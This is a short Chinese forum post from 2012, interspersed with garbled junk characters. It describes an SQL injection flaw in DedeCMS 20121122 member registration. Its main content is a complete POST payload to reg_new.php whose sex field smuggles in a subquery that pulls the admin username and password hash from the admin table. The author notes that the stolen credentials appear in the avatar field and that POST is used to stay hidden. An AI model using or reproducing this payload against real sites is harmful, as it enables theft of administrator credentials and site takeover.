dedecms版本 20121122" v& P7 ~6 Q3 _* J/ z5 z/ U
5 i7 [6 H* R1 g" r3 h' \
需要magic_quotes_gpc=Off
9 v Q! h I4 ^
3 G- t# q; H _2 i应该是没有什么大危害的漏洞.
T' [( d7 e7 |4 F9 N, w% ]原来发过一个Dedecms注射漏洞,貌似并没有修补,重新利用了一下,可以获得管理员密码.
: S6 O& w+ q! S8 b* j; P3 H$ e6 `: L$ C2 r
是一个漏洞.其实不仅仅是审核机制绕过,也可以获得管理员密码的.
: H: l; v O5 BPOST提交以下数据,其实不用POST提交的,这样隐蔽点.
8 ~ C, {( b) r. ]
S) V- N" T6 T* _http:///de/member/reg_new.php
6 R9 r- z7 _6 A1 ]6 S7 P- [/ w( J; g6 ~) R1 T
POST
. r! g- k, I" h1 t+ K
/ M0 P: t5 X \! r. r }- ]" c. d( Fdopost=regbase&step=1&mtype=%E4%B8%AA%E4%BA%BA&mtype=%E4%B8%AA%E4%BA%BA&userid=c4rp3nt3r&uname=c4rp3nt3r&userpwd=ssssss&userpwdok=ssssss&email=sss%40ss.ss&safequestion=0&safeanswer=&sex=boy',100,100,'sss@xx.xx',1000,0,'www' and @`'`,(select concat(userid,0x3a,pwd) from `#@__admin` limit 1),0,'',1316751900,'',1316751900,'');%00&vdcode=glos&agree=
. ]2 i3 F- _$ G. b8 {/ a3 a& K6 x; }& v/ S1 M1 a0 O
成功注册后,头像处里面有好玩的信息.
; q- t4 D+ I l5 C3 L6 y8 t* O; I* I
|
发表于 2012-12-5 10:03:32
收藏
支持
反对